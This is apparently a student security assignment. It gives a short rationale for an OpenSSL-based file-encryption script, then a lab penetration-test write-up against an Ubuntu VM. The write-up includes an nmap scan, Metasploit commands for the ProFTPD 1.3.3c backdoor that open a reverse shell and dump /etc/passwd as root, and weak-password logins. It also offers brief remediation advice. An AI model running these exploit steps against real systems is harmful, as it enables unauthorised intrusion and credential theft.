For my file protection program I decided to write my program using linux standard tools and bash. I wrote and tested my software on an Arch Linux system using the linux kernel. The reason I decided to use this environment is because all of the tools I used are open sourced and widely used, implying they are more secure than any closed source and niche tools. The library I used is the standard OpenSSL library and the linux binary distributed to Arch Linux systems. I selected this library because it is open source and is widely used and generally agreed as the best open source cryptography library. It is maintained by 13 developers with direct access to the source, however the GitHub repository marks over 400 contributors.

For my algorithm I have selected AES256-cbc to encrypt my files and SHA256 for signing/verifying. The reason I have selected aes is due to it being the most common and generally secure algorithm. I selected 256 bits for the key because that is the largest key size that aes supports. I picked cbc for the cypher block mode because for local files it is meets my security policy and is fast for reading and writing. If I were to be building a system that would need random access and for that file to be transmitted over a network, I would have picked gcm for my cypher block mode. I selected SHA256 for my signing method because it is quick and accurate while still having a large enough key to be secure.

In the Ubuntu OS there are many vulnerabilities in both the OS and the applications running on it that make the system susceptible to outside attacks.

Insecure Password

First the user that has set up this system has given their account an insecure password, in this case it is the same string as the username. This is easily guessable by an attacker as proven by the fact that it took me less than 10 guesses to gain access to the 'marlinspike' account. While the length of the password is good (11 characters), the user could prevent this by creating a secure password that utilizes a higher percent of the given alphabet including capital letters, numbers, and special characters.

ProFTP Vulnerability

The second security issue with the system is after the ProFTP version was shipped with a malicious backdoor. To further attack this system I ran an 'nmap' scan on the machine and found out that it has 3 open ports.

```
Nmap scan report for 192.168.56.102
Host is up (0.0013s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
```

Going in order I started by attacking port 21 of the ftp server. While we have access to the 'marlinspike' user, we could not gain access to the root user as it had been secured properly. Next I attempted to retrieve information about the ftp version that our server was running.

```
Connected to 192.168.56.102.
220 ProFTPD 1.3.3c Server (vtcsec) [192.168.56.102]
```

After searching online, I found that ProFTP 1.3.3c was infected with a malicious backdoor between November 28th 2010 and 2nd December 2010. If this system was using a binary downloaded between those two dates we would be able to gain backdoor access. I was able to find a metasploit script that was directly targeting this version of ProFTP.

```
exploit/unix/ftp/proftpd_133c_backdoor
```

Using this exploit I was able to gain root access to the server through the backdoor.

```
msf > use exploit/unix/ftp/proftpd_133c_backdoor
msf exploit(unix/ftp/proftpd_133c_backdoor) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf exploit(unix/ftp/proftpd_133c_backdoor) > exploit

[*] Started reverse TCP double handler on 192.168.56.1:4444
[*] 192.168.56.101:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 1TZ5bezP9wHk1iM6;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "1TZ5bezP9wHk1iM6\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.101:37446) at
2019-09-16 01:49:11 +0000

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
```

```
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
marlinspike:x:1000:1000:marlinspike,,,:/home/marlinspike:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
whoami
root

Abort session 1? [y/N]  y
```

To prevent this attack the owner of this system should ensure that all binaries are up to date and ensure that signatures match when verifying that files transmitted over the internet have arrived safely.

Apache Attack

Although the apache server itself does not have any major vulnerabilities, once I gained access to the server through the OpenFTP vulnerability I was able to see there was a subdirectory in */var/www/* webroot called ‘secret’. I navigated to this directory in my web browser and determined it was a wordpress install. Using my previous knowledge about wordpress, I knew that in order to gain access to the admin console I would have to log in through the /wp-admin/ page. While this initially redirected my request to a web server called http://vtcsec/, I was able to map that hostname to the ip address of the VirtualBox. The login to this wordpress was admin:admin which is an insecure combination of username and password to secure a web facing application with. I now had full access to the wordpress application and could edit, delete, or add posts as I wanted.

2. Issues with Ubuntu OS

- Insecure password, same as username
- Proftpd is insecure
    - Was deployed with a backdoor in version 1.3.3c
- Apache has a secret blog
    - Admin login is admin:admin
    - You can see the blog config file from the root